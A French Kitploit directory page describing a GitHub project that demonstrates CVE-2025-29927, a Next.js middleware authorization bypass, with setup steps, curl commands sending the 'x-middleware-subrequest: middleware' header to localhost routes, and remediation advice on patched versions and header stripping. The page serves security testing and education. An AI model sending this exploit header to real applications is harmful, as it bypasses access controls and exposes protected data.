Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
claude-create-CVE-2025-29927 — Teste et démontre CVE-2025-29927, un contournement d'autorisation middleware Next.js. Inclut des scripts de test d'exploitation et d'accès normal, plus des conseils de remédiation. | Kitploit
Outils/GitHubGitHub/maronnjapan/claude-create-cve-2025-29927
Analyse des VulnérabilitésExploitation d'Applications WebSécurité WebApprentissage et Éducation
GitHubmaronnjapan/claude-create-cve-2025-29927

claude-create-CVE-2025-29927

Teste et démontre CVE-2025-29927, un contournement d'autorisation middleware Next.js. Inclut des scripts de test d'exploitation et d'accès normal, plus des conseils de remédiation.

Voir le dépôt
3il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Testeur de vulnérabilité du middleware Next.js (CVE-2025-29927)

Cette application illustre la vulnérabilité de contournement d'autorisation du middleware Next.js (CVE-2025-29927).

À propos de la vulnérabilité

CVE-2025-29927 est une vulnérabilité de contournement d'autorisation dans le middleware Next.js. En envoyant un en-tête HTTP spécialement conçu (x-middleware-subrequest), un attaquant peut contourner les contrôles d'autorisation implémentés dans le middleware, obtenant potentiellement un accès à des ressources protégées.

Instructions d'installation

  1. Installer les dépendances :

    root@kitploit:~
    cd /var/www/react-nextjs/test-middleware-skip
    npm install
    
  2. Lancer le serveur de développement :

    root@kitploit:~
    npm run dev
    
  3. Le serveur démarrera sur http://localhost:3000

Test de la vulnérabilité

Accès normal (devrait être bloqué)

Essayez d'accéder à la route protégée normalement :

root@kitploit:~
npm run test-normal

ou

root@kitploit:~
curl -v http://localhost:3000/protected-data

Vous devriez recevoir une réponse 401 Non autorisé, car le middleware bloque l'accès.

Exploitation de la vulnérabilité

Essayez d'accéder à la route protégée avec l'en-tête d'exploitation :

root@kitploit:~
npm run test-exploit

ou

root@kitploit:~
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data

Si l'application est vulnérable, vous recevrez une réponse 200 OK avec les données protégées.

Test de la route API

Accès normal (devrait être bloqué) :

root@kitploit:~
curl -v http://localhost:3000/api/protected

Avec l'exploitation :

root@kitploit:~
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected

Correction

Pour corriger cette vulnérabilité, vous devez :

  1. Mettre à jour Next.js vers une version corrigée :

    • Next.js 15.x : Mettre à jour vers 15.2.3 ou ultérieur
    • Next.js 14.x : Mettre à jour vers 14.2.25 ou ultérieur
    • Next.js 13.x : Mettre à jour vers 13.5.9 ou ultérieur
    • Next.js 12.x : Mettre à jour vers 12.3.5 ou ultérieur
  2. Si vous ne pouvez pas mettre à jour, mettez en place un proxy inverse (comme Nginx ou Cloudflare) qui supprime l'en-tête x-middleware-subrequest des requêtes entrantes.

Commandes de test supplémentaires

Testez si la route API est vulnérable :

root@kitploit:~
# Requête normale (devrait être bloquée)
curl -v http://localhost:3000/api/protected

# Avec l'en-tête d'exploitation
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected

Avertissement

Cet outil est fourni uniquement à des fins éducatives et de test de sécurité. Utilisez-le pour vérifier si vos propres applications Next.js sont vulnérables et nécessitent une correction.

Télécharger l’outil